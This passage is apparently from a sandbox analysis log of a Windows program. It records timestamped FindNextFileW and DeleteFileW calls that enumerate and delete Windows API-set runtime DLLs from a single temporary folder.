(lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0166.878] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26e5aa0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa26e5aa0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2731d60, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0166.878] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0166.878] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2731d60, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2731d60, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2757ec0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="AP4F63~1.DLL")) returned 1 [0166.879] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-handle-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-handle-l1-1-0.dll")) returned 1 [0166.879] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2757ec0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2757ec0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2757ec0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="AP26B7~1.DLL")) returned 1 [0166.879] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-heap-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-heap-l1-1-0.dll")) returned 1 [0166.880] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2757ec0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2757ec0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2757ec0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x45c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="AP40C7~1.DLL")) returned 1 [0166.880] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-interlocked-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-interlocked-l1-1-0.dll")) returned 1 [0166.880] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa277e020, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa277e020, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa277e020, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="APD0F3~1.DLL")) returned 1 [0166.880] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-libraryloader-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-libraryloader-l1-1-0.dll")) returned 1 [0166.881] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa277e020, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa277e020, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa27ca2e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5138, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0166.881] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0166.882] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27ca2e0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa27ca2e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa27f0440, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="AP25B1~1.DLL")) returned 1 [0166.882] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-memory-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-memory-l1-1-0.dll")) returned 1 [0166.882] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2862860, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2862860, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2862860, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="AP8526~1.DLL")) returned 1 [0166.883] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-namedpipe-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-namedpipe-l1-1-0.dll")) returned 1 [0166.883] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2862860, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2862860, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2862860, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="AP507A~1.DLL")) returned 1 [0166.883] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-processenvironment-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processenvironment-l1-1-0.dll")) returned 1 [0166.884] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2862860, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2862860, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa28889c0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="APEF2A~1.DLL")) returned 1 [0166.884] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-processthreads-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processthreads-l1-1-0.dll")) returned 1 [0166.884] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28889c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa28889c0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa28aeb20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0166.885] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0166.885] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28aeb20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa28aeb20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa28aeb20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4530, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="AP5574~1.DLL")) returned 1 [0166.885] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-profile-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-profile-l1-1-0.dll")) returned 1 [0166.886] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28aeb20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa28aeb20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa28aeb20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4538, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="APDC30~1.DLL")) returned 1 [0166.886] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-rtlsupport-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-rtlsupport-l1-1-0.dll")) returned 1 [0166.886] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28aeb20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa28aeb20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2920f40, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="AP743F~1.DLL")) returned 1 [0166.887] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-string-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-string-l1-1-0.dll")) returned 1 [0166.887] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2920f40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2920f40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2920f40, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="AP7678~1.DLL")) returned 1 [0166.887] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-synch-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-synch-l1-1-0.dll")) returned 1 [0166.888] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2920f40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2920f40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa29470a0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0166.888] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0166.888] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa29470a0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa29470a0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa29470a0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="APFAD9~1.DLL")) returned 1 [0166.888] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-sysinfo-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-sysinfo-l1-1-0.dll")) returned 1 [0166.889] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa29470a0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa29470a0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa29470a0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4730, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0166.889] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0166.890] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa29470a0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa29470a0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa296d200, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="APF2DB~1.DLL")) returned 1 [0166.890] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-util-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-util-l1-1-0.dll")) returned 1 [0166.890] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa296d200, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa296d200, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa296d200, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0166.890] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0166.891] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa296d200, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa296d200, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2993360, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0166.891] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0166.892] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2993360, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2993360, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2993360, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4930, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0166.892] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0166.892] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2993360, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2993360, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa29b94c0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0166.893] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0166.893] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa29b94c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa29b94c0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa29df620, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0166.893] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0166.894] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa29df620, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa29df620, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a05780, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0166.894] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0166.894] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a05780, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2a05780, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a05780, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x7138, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0166.894] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0166.895] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a05780, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2a05780, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a2b8e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x6738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0166.895] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0166.895] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a51a40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2a51a40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a51a40, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x11d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0166.896] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0166.896] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a51a40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2a51a40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a9dd00, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0166.896] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0166.897] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9dd00, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2a9dd00, 